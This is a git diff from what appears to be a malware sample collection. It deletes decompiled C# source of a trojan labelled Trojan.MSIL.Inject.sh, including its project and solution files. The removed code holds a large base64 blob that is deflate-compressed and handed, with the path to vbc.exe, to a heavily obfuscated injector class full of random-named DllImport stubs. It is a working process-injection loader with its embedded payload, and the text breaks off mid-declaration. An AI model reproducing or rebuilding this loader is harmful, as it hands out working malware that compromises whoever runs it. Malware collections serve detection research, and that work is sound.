{ - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/Trojan.MSIL.Inject.sh.csproj b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/Trojan.MSIL.Inject.sh.csproj deleted file mode 100644 index dd98a311..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/Trojan.MSIL.Inject.sh.csproj +++ /dev/null @@ -1,45 +0,0 @@ - - - - - Debug - AnyCPU - {45C538C1-438F-476B-8E65-7D33ABCE761F} - WinExe - warcnostart - 3.3.8.9 - My - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/Trojan.MSIL.Inject.sh.sln b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/Trojan.MSIL.Inject.sh.sln deleted file mode 100644 index 7ddb830d..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/Trojan.MSIL.Inject.sh.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "warcnostart", "Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a.csproj", "{45C538C1-438F-476B-8E65-7D33ABCE761F}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {45C538C1-438F-476B-8E65-7D33ABCE761F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {45C538C1-438F-476B-8E65-7D33ABCE761F}.Debug|Any CPU.Build.0 = Debug|Any CPU - {45C538C1-438F-476B-8E65-7D33ABCE761F}.Release|Any CPU.ActiveCfg = Release|Any CPU - {45C538C1-438F-476B-8E65-7D33ABCE761F}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/YKlIHiQhUYxYjdv.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/YKlIHiQhUYxYjdv.cs deleted file mode 100644 index 290e34e3..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/YKlIHiQhUYxYjdv.cs +++ /dev/null @@ -1,38 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: YKlIHiQhUYxYjdv -// Assembly: warcnostart, Version=3.3.8.9, Culture=neutral, PublicKeyToken=null -// MVID: A32EF3A4-FB6C-415E-B03C-F5A66E56A760 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.IO; -using System.IO.Compression; - -[StandardModule] -public sealed class YKlIHiQhUYxYjdv -{ - [STAThread] - public static void Main() => new yvHKZuvFPKnDWpJ().jbBQIsacwZesDXk(YKlIHiQhUYxYjdv.oztMuSCMSOaqGNP(Convert.FromBase64String("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")), "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe"); - - public static byte[] oztMuSCMSOaqGNP(byte[] input) - { - DeflateStream deflateStream = new DeflateStream((Stream) new MemoryStream(input), CompressionMode.Decompress); - int offset = 0; - int num1 = 0; - byte[] numArray; - while (true) - { - numArray = (byte[]) Utils.CopyArray((Array) numArray, (Array) new byte[checked (num1 + 100 + 1)]); - int num2 = deflateStream.Read(numArray, offset, 100); - if (num2 != 0) - { - checked { offset += num2; } - checked { num1 += num2; } - } - else - break; - } - return (byte[]) Utils.CopyArray((Array) numArray, (Array) new byte[checked (num1 - 1 + 1)]); - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/yvHKZuvFPKnDWpJ.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/yvHKZuvFPKnDWpJ.cs deleted file mode 100644 index 4de58bd6..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/yvHKZuvFPKnDWpJ.cs +++ /dev/null @@ -1,1933 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: yvHKZuvFPKnDWpJ -// Assembly: warcnostart, Version=3.3.8.9, Culture=neutral, PublicKeyToken=null -// MVID: A32EF3A4-FB6C-415E-B03C-F5A66E56A760 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a.exe - -using System; -using System.Runtime.InteropServices; -using System.Text; - -public class yvHKZuvFPKnDWpJ -{ - [DllImport("wldap32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ldap_close_extended_op(ref IntPtr ld, long MessageNumber); - - [DllImport("NfcyUtyvHKZuvFPKnDWpJEsY.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] NrcXMgXObmVUItVrESzRDHhVT( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string higlWPWBONdhjbBQIsacwZe, - string[] sDXkYKlIHiQhUYxYjdvsPl, - char KCxKapLyIfaEGmGMUJoxy); - - [DllImport("abCLXzTxWoOoztMuSCMSOaqG.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] wCZgnRedtxzrRgYJqsOquJFnC( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string NPYvqUWDJckaGBBzFpwEUut, - string[] KzDuTwbZHvQHxLVEErrSbn, - char QjPmFRFDwOMiScieqPQlm); - - [DllImport("rUyjfTneVjtcbPCcyLZHYLPo.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] vUBetagzIxdYZXcNGOrTEUYaS( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string caUmjGcBHDORgCDNWRuKdxQ, - string[] LzfopnsdXeIVUkoriIXPzh, - char jFhlzKesfSsPOqXpbfFfq); - - [DllImport("GEJgnuZllBFIyYngQxBVxCQM.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] kDzWsRJFRhwSGPmhLNtOTbRwF( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string vJiiJSeHaGdvVvHBTDZJUZV, - string[] hyNVWfExbdKQjrhNIJHMwE, - char LbCCRIKCbEigODXOFSdML); - - [DllImport("mvUBetagzIxdYZXcNGOrTEUY.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] yyaiuXqWtMYMKEWTpZkpmxPQl( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string aSrUyjfTneVjtcbPCcyLZHY, - string[] LPocaUmjGcBHDORgCDNWRu, - char KdxQLzfopnsdXeIVUkori); - - [DllImport("qkDzWsRJFRhwSGPmhLNtOTbR.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] IXPzhjFhlzKesfSsPOqXpbfFf( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string wFGEJgnuZllBFIyYngQxBVx, - string[] CQMvJiiJSeHaGdvVvHBTDZ, - char JUZVhyNVWfExbdKQjrhNI); - - [DllImport("LyyaiuXqWtMYMKEWTpZkpmxP.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] JHMwELbCCRIKCbEigODXOFSdM( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QlmvUBetagzIxdYZXcNGOrT, - string[] EUYaSrUyjfTneVjtcbPCcy, - char LZHYLPocaUmjGcBHDORgC); - - [DllImport("iIXPzhjFhlzKesfSsPOqXpbf.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DNWRuKdxQLzfopnsdXeIVUkor( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string FfqkDzWsRJFRhwSGPmhLNtO, - string[] TbRwFGEJgnuZllBFIyYngQ, - char xBVxCQMvJiiJSeHaGdvVv); - - [DllImport("IJHMwELbCCRIKCbEigODXOFS.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] HBTDZJUZVhyNVWfExbdKQjrhN( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string dMLyyaiuXqWtMYMKEWTpZkp, - string[] mxPQlmvUBetagzIxdYZXcN, - char GOrTEUYaSrUyjfTneVjtc); - - [DllImport("CDNWRuKdxQLzfopnsdXeIVUk.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] bPCcyLZHYLPocaUmjGcBHDORg( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string oriIXPzhjFhlzKesfSsPOqX, - string[] pbfFfqkDzWsRJFRhwSGPmh, - char LNtOTbRwFGEJgnuZllBFI); - - [DllImport("vHBTDZJUZVhyNVWfExbdKQjr.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] yYngQxBVxCQMvJiiJSeHaGdvV( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string hNIJHMwELbCCRIKCbEigODX, - string[] OFSdMLyyaiuXqWtMYMKEWT, - char pZkpmxPQlmvUBetagzIxd); - - [DllImport("cbPCcyLZHYLPocaUmjGcBHDO.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] YZXcNGOrTEUYaSrUyjfTneVjt( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string RgCDNWRuKdxQLzfopnsdXeI, - string[] VUkoriIXPzhjFhlzKesfSs, - char POqXpbfFfqkDzWsRJFRhw); - - [DllImport("IyYngQxBVxCQMvJiiJSeHaGd.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] SGPmhLNtOTbRwFGEJgnuZllBF( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string vVvHBTDZJUZVhyNVWfExbdK, - string[] QjrhNIJHMwELbCCRIKCbEi, - char 